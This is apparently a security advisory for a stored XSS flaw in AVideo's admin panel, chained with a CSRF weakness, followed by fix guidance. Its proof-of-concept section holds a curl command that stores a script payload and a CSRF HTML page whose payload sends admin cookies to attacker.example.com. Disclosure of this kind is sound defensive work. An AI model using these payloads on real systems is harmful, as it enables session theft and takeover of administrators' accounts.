CVE-2026-34396: AVideo: Stored XSS via Unescaped Plugin Configuration Values in Admin Panel
Summary
The AVideo admin panel renders plugin configuration values in HTML forms without applying htmlspecialchars() or any other output encoding. The jsonToFormElements() function in admin/functions.php directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on admin/save.json.php) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.
This vulnerability chains with AVI-046 (CSRF on save.json.php) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.
Details
The jsonToFormElements() function in admin/functions.php contains multiple unsafe output points where configuration values are rendered without escaping:
Textarea injection (line 47): php // admin/functions.php:47 $html .= "<textarea class='form-control' name='{$name}' id='{$id}'>{$valueJson->value}</textarea>"; The $valueJson->value is placed directly between textarea tags without encoding.
Select option injection (line 55): php // admin/functions.php:55 $html .= "<option value='{$key}' {$select}>{$value}</option>"; Both $key and $value are inserted without encoding, allowing attribute breakout and HTML injection.
Input type and value injection (lines 62-63): php // admin/functions.php:62-63 $html .= "<input class='form-control' type='{$valueJson->type}' value='{$valueJson->value}' name='{$name}' id='{$id}'/>"; Both type and value attributes are unescaped, enabling attribute injection.
Fallback input injection (line 75): php // admin/functions.php:75 $html .= "<input class='form-control' type='text' value='{$valueJson}' name='{$name}' id='{$id}'/>"; The raw $valueJson string is placed into the value attribute without encoding.
Configuration values are saved via admin/save.json.php, which lacks CSRF token validation.
Proof of Concept
Method 1: Direct exploitation (requires admin session)
bash Store XSS payload in a plugin configuration value The endpoint uses pluginName and direct field names as parameters curl -b "PHPSESSID=ADMINSESSIONCOOKIE" \ -X POST "https://your-avideo-instance.com/admin/save.json.php" \ -d "pluginName=PlayerSkins&skin=x' onfocus=alert(document.cookie) autofocus='"
When any admin visits the plugin configuration page, the payload fires.
Method 2: Cross-origin chain with CSRF (no authentication required)
Create the following HTML page and trick an admin into visiting it:
html <!DOCTYPE html> <html> <head><title>AVI-033 + AVI-046 Chain PoC</title></head> <body> <h1>Loading...</h1> <form id="xss" method="POST" action="https://your-avideo-instance.com/admin/save.json.php"> <input type="hidden" name="name" value="Gallery" /> <input type="hidden" name="parameter" value="description" /> <input type="hidden" name="value" value="' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='" /> </form> <script>document.getElementById('xss').submit();</script> </body> </html>
The payload breaks out of the value attribute in the rendered input element:
html <!-- Rendered HTML in admin panel --> <input class='form-control' type='text' value='' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='' name='description' id='description'/>
Impact
An attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on save.json.php, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:
- Steal admin session cookies and CSRF tokens - Create new admin accounts - Modify site configuration (enable file uploads, disable security features) - Inject persistent JavaScript into public-facing pages via site-wide settings - Pivot to server-side code execution via plugin upload functionality
- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS) - Severity: High
Recommended Fix
Apply htmlspecialchars($value, ENTQUOTES, 'UTF-8') to all user-controlled values rendered in admin/functions.php:
php // admin/functions.php:47 - textarea content $html .= "<textarea class='form-control' name='{$name}' id='{$id}'>" . htmlspecialchars($valueJson->value, ENTQUOTES, 'UTF-8') . "</textarea>";
// admin/functions.php:55 - select option $html .= "<option value='" . htmlspecialchars($key, ENTQUOTES, 'UTF-8') . "' {$select}>" . htmlspecialchars($value, ENTQUOTES, 'UTF-8') . "</option>";
// admin/functions.php:62-63 - input type and value $html .= "<input class='form-control' type='" . htmlspecialchars($valueJson->type, ENTQUOTES, 'UTF-8') . "' value='" . htmlspecialchars($valueJson->value, ENTQUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";
// admin/functions.php:75 - fallback input $html .= "<input class='form-control' type='text' value='" . htmlspecialchars($valueJson, ENTQUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";
--- Found by aisafe.io
Other sources
WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo admin panel renders plugin configuration values in HTML forms without applying htmlspecialchars() or any other output encoding. The jsonToFormElements() function in admin/functions.php directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on admin/save.json.php) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page. At time of publication, there are no publicly available patches.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Configuration
Apply `htmlspecialchars($key, ENT_QUOTES, 'UTF-8')` and `htmlspecialchars($value, ENT_QUOTES, 'UTF-8')` wherever `$key`/`$value` are rendered into HTML option/input/textarea markup. Also encode `$valueJson->type` and `$valueJson->value` with `htmlspecialchars(..., ENT_QUOTES, 'UTF-8')` before interpolating them into the rendered `type` and `value` attributes and textarea contents in `jsonToFormElements()` in `admin/functions.php`.
AVideo (admin/functions.php - jsonToFormElements()) Output encoding for user-controlled plugin configuration values = Use htmlspecialchars(..., ENT_QUOTES, 'UTF-8') for all user-controlled values rendered into HTML - Configuration
Fix `admin/save.json.php` so it validates CSRF tokens (the material states CSRF token validation is lacking, enabling the AVI-046 chain).
AVideo (admin/save.json.php) CSRF token validation = Enabled (require CSRF token validation) - Compensating control
Ensure only trusted users/admins can edit plugin configuration values and prevent CSRF from triggering `admin/save.json.php` (e.g., enforce CSRF protections at the endpoint), since successful stored XSS executes when admins visit the plugin configuration page.